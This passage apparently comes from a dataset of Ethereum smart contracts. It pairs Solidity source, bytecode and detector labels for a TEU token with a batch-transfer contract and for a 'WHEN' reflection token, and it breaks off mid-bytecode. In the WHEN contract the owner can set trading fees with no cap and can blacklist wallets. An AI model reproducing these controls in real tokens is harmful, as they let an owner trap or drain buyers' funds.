hold return c; } function sub256(uint256 a, uint256 b) internal returns (uint256) { require(b <= a); return a - b; } function add256(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev ERC20 interface with allowances. */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant public returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public; event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public { balances[msg.sender] = balances[msg.sender].sub256(_value); balances[_to] = balances[_to].add256(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implemantation of the basic standart token. */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add256(_value); balances[_from] = balances[_from].sub256(_value); allowed[_from][msg.sender] = _allowance.sub256(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public { // To change the approve amount you first have to reduce the addresses // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title TeuToken * @dev The main TEU token contract * */ contract TeuToken is StandardToken, Ownable{ string public name = "20-footEqvUnit"; string public symbol = "TEU"; uint public decimals = 18; event TokenBurned(uint256 value); function TeuToken() public { totalSupply = (10 ** 8) * (10 ** decimals); balances[msg.sender] = totalSupply; } /** * @dev Allows the owner to burn the token * @param _value number of tokens to be burned. */ function burn(uint _value) onlyOwner public { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub256(_value); totalSupply = totalSupply.sub256(_value); TokenBurned(_value); } } /** * @title teuBatchTransfer * @dev Contract to transfer TEU to multiple wallet in batch * */ contract teuBatchTransfer is Ownable { using SafeMath for uint256; TeuToken constant private token = TeuToken(0xeEAc3F8da16bb0485a4A11c5128b0518DaC81448); // hard coded due to token already deployed /** * @dev transfer TEU token from one wallet to multiple wallets. Sufficient TEU token allowance must be approved by _from to this contract before calling this method * @param _from address from which TEU will be transferred * @param _to addresses where TEU will be transferred to * @param _amount amount of TEU to be transferred */ function transfer(address _from, address[] _to, uint256 _amount) public onlyOwner { for (uint i = 0; i < _to.length; i++) { token.transferFrom(_from, _to[i], _amount); } } }
0x6060604052600436106100565763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416635106b8fe811461005b5780638da5cb5b146100bc578063f2fde38b146100eb575b600080fd5b341561006657600080fd5b6100ba60048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650509335935061010a92505050565b005b34156100c757600080fd5b6100cf6101eb565b604051600160a060020a03909116815260200160405180910390f35b34156100f657600080fd5b6100ba600160a060020a03600435166101fa565b6000805433600160a060020a0390811691161461012657600080fd5b5060005b82518110156101e55773eeac3f8da16bb0485a4a11c5128b0518dac814486323b872dd8585848151811061015a57fe5b90602001906020020151856040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156101cd57600080fd5b5af115156101da57600080fd5b50505060010161012a565b50505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461021557600080fd5b600160a060020a0381161561024d576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b505600a165627a7a723058206423a4bbd3e6fe39857c8163b617fd59247d94f93a8e04b8240909845e3f83fe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,606
0xcfc82839bc6d7aba5a466d8176c9c6d8a8bddce8
/** Telegram: https://t.me/WhenERC20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WHEN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WHEN"; string private constant _symbol = "WHEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1c7cF9b63eCeb9225F8EE231756A10CdfC04A24B); address payable private _marketingAddress = payable(0x1c7cF9b63eCeb9225F8EE231756A10CdfC04A24B); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 90000000000 * 10**9; uint256 public _maxWalletSize = 1000000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063bfd7928411610095578063dd62ed3e11610064578063dd62ed3e14610515578063ea1644d51461055b578063f2fde38b1461057b578063fc3422791461059b57600080fd5b8063bfd792841461049b578063c3c8cd80146104cb578063c492f046146104e0578063c9567bf91461050057600080fd5b806398a5c315116100d157806398a5c3151461041b578063a2a957bb1461043b578063a9059cbb1461045b578063b0c2b5611461047b57600080fd5b80638da5cb5b146103e75780638f9a55c01461040557806395d89b41146101fe57600080fd5b8063313ce5671161016f57806370a082311161013e57806370a082311461036f578063715018a61461038f5780637d1db4a5146103a45780637f2feddc146103ba57600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636fc3eaec1461035a57600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611918565b6105bb565b005b34801561020a57600080fd5b5060408051808201825260048152632ba422a760e11b6020820152905161023191906119dd565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a32565b61065a565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50683635c9adc5dea000005b604051908152602001610231565b3480156102d457600080fd5b5061025a6102e3366004611a5e565b610671565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610231565b34801561032657600080fd5b5060155461028a906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611a9f565b6106da565b34801561036657600080fd5b506101fc610725565b34801561037b57600080fd5b506102ba61038a366004611a9f565b610770565b34801561039b57600080fd5b506101fc610792565b3480156103b057600080fd5b506102ba60165481565b3480156103c657600080fd5b506102ba6103d5366004611a9f565b60116020526000908152604090205481565b3480156103f357600080fd5b506000546001600160a01b031661028a565b34801561041157600080fd5b506102ba60175481565b34801561042757600080fd5b506101fc610436366004611abc565b610806565b34801561044757600080fd5b506101fc610456366004611ad5565b610835565b34801561046757600080fd5b5061025a610476366004611a32565b610873565b34801561048757600080fd5b506101fc610496366004611abc565b610880565b3480156104a757600080fd5b5061025a6104b6366004611a9f565b60106020526000908152604090205460ff1681565b3480156104d757600080fd5b506101fc6108af565b3480156104ec57600080fd5b506101fc6104fb366004611b17565b610903565b34801561050c57600080fd5b506101fc6109a4565b34801561052157600080fd5b506102ba610530366004611b9b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056757600080fd5b506101fc610576366004611abc565b6109e3565b34801561058757600080fd5b506101fc610596366004611a9f565b610a12565b3480156105a757600080fd5b506101fc6105b6366004611bd4565b610afc565b6000546001600160a01b031633146105ee5760405162461bcd60e51b81526004016105e590611bef565b60405180910390fd5b60005b81518110156106565760016010600084848151811061061257610612611c24565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064e81611c50565b9150506105f1565b5050565b6000610667338484610b44565b5060015b92915050565b600061067e848484610c68565b6106d084336106cb85604051806060016040528060288152602001611d6a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a4565b610b44565b5060019392505050565b6000546001600160a01b031633146107045760405162461bcd60e51b81526004016105e590611bef565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061075a57506013546001600160a01b0316336001600160a01b0316145b61076357600080fd5b4761076d816111de565b50565b6001600160a01b03811660009081526002602052604081205461066b90611218565b6000546001600160a01b031633146107bc5760405162461bcd60e51b81526004016105e590611bef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108305760405162461bcd60e51b81526004016105e590611bef565b601855565b6000546001600160a01b0316331461085f5760405162461bcd60e51b81526004016105e590611bef565b600893909355600a91909155600955600b55565b6000610667338484610c68565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016105e590611bef565b601655565b6012546001600160a01b0316336001600160a01b031614806108e457506013546001600160a01b0316336001600160a01b0316145b6108ed57600080fd5b60006108f830610770565b905061076d8161129c565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105e590611bef565b60005b8281101561099e57816005600086868581811061094f5761094f611c24565b90506020020160208101906109649190611a9f565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061099681611c50565b915050610930565b50505050565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016105e590611bef565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b81526004016105e590611bef565b601755565b6000546001600160a01b03163314610a3c5760405162461bcd60e51b81526004016105e590611bef565b6001600160a01b038116610aa15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b265760405162461bcd60e51b81526004016105e590611bef565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610ba65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e5565b6001600160a01b038216610c075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e5565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e5565b60008111610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e5565b6000546001600160a01b03848116911614801590610dbc57506000546001600160a01b03838116911614155b1561109d57601554600160a01b900460ff16610e55576000546001600160a01b03848116911614610e555760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e5565b601654811115610ea75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e5565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee957506001600160a01b03821660009081526010602052604090205460ff16155b610f415760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e5565b6015546001600160a01b03838116911614610fc65760175481610f6384610770565b610f6d9190611c6b565b10610fc65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e5565b6000610fd130610770565b601854601654919250821015908210610fea5760165491505b8080156110015750601554600160a81b900460ff16155b801561101b57506015546001600160a01b03868116911614155b80156110305750601554600160b01b900460ff165b801561105557506001600160a01b03851660009081526005602052604090205460ff16155b801561107a57506001600160a01b03841660009081526005602052604090205460ff16155b1561109a576110888261129c565b47801561109857611098476111de565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110df57506001600160a01b03831660009081526005602052604090205460ff165b8061111157506015546001600160a01b0385811691161480159061111157506015546001600160a01b03848116911614155b1561111e57506000611198565b6015546001600160a01b03858116911614801561114957506014546001600160a01b03848116911614155b1561115b57600854600c55600954600d555b6015546001600160a01b03848116911614801561118657506014546001600160a01b03858116911614155b1561119857600a54600c55600b54600d555b61099e84848484611425565b600081848411156111c85760405162461bcd60e51b81526004016105e591906119dd565b5060006111d58486611c83565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610656573d6000803e3d6000fd5b600060065482111561127f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e5565b6000611289611453565b90506112958382611476565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e4576112e4611c24565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133857600080fd5b505afa15801561134c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113709190611c9a565b8160018151811061138357611383611c24565b6001600160a01b0392831660209182029290920101526014546113a99130911684610b44565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e2908590600090869030904290600401611cb7565b600060405180830381600087803b1580156113fc57600080fd5b505af1158015611410573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611432576114326114b8565b61143d8484846114e6565b8061099e5761099e600e54600c55600f54600d55565b60008060006114606115dd565b909250905061146f8282611476565b9250505090565b600061129583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161f565b600c541580156114c85750600d54155b156114cf57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114f88761164d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152a90876116aa565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155990866116ec565b6001600160a01b03891660009081526002602052604090205561157b8161174b565b6115858483611795565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ca91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115f98282611476565b82101561161657505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116405760405162461bcd60e51b81526004016105e591906119dd565b5060006111d58486611d28565b600080600080600080600080600061166a8a600c54600d546117b9565b925092509250600061167a611453565b9050600080600061168d8e87878761180e565b919e509c509a509598509396509194505050505091939550919395565b600061129583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a4565b6000806116f98385611c6b565b9050838110156112955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e5565b6000611755611453565b90506000611763838361185e565b3060009081526002602052604090205490915061178090826116ec565b30600090815260026020526040902055505050565b6006546117a290836116aa565b6006556007546117b290826116ec565b6007555050565b60008080806117d360646117cd898961185e565b90611476565b905060006117e660646117cd8a8961185e565b905060006117fe826117f88b866116aa565b906116aa565b9992985090965090945050505050565b600080808061181d888661185e565b9050600061182b888761185e565b90506000611839888861185e565b9050600061184b826117f886866116aa565b939b939a50919850919650505050505050565b60008261186d5750600061066b565b60006118798385611d4a565b9050826118868583611d28565b146112955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e5565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076d57600080fd5b8035611913816118f3565b919050565b6000602080838503121561192b57600080fd5b823567ffffffffffffffff8082111561194357600080fd5b818501915085601f83011261195757600080fd5b813581811115611969576119696118dd565b8060051b604051601f19603f8301168101818110858211171561198e5761198e6118dd565b6040529182528482019250838101850191888311156119ac57600080fd5b938501935b828510156119d1576119c285611908565b845293850193928501926119b1565b98975050505050505050565b600060208083528351808285015260005b81811015611a0a578581018301518582016040015282016119ee565b81811115611a1c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4557600080fd5b8235611a50816118f3565b946020939093013593505050565b600080600060608486031215611a7357600080fd5b8335611a7e816118f3565b92506020840135611a8e816118f3565b929592945050506040919091013590565b600060208284031215611ab157600080fd5b8135611295816118f3565b600060208284031215611ace57600080fd5b5035919050565b60008060008060808587031215611aeb57600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461191357600080fd5b600080600060408486031215611b2c57600080fd5b833567ffffffffffffffff80821115611b4457600080fd5b818601915086601f830112611b5857600080fd5b813581811115611b6757600080fd5b8760208260051b8501011115611b7c57600080fd5b602092830195509350611b929186019050611b07565b90509250925092565b60008060408385031215611bae57600080fd5b8235611bb9816118f3565b91506020830135611bc9816118f3565b809150509250929050565b600060208284031215611be657600080fd5b61129582611b07565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260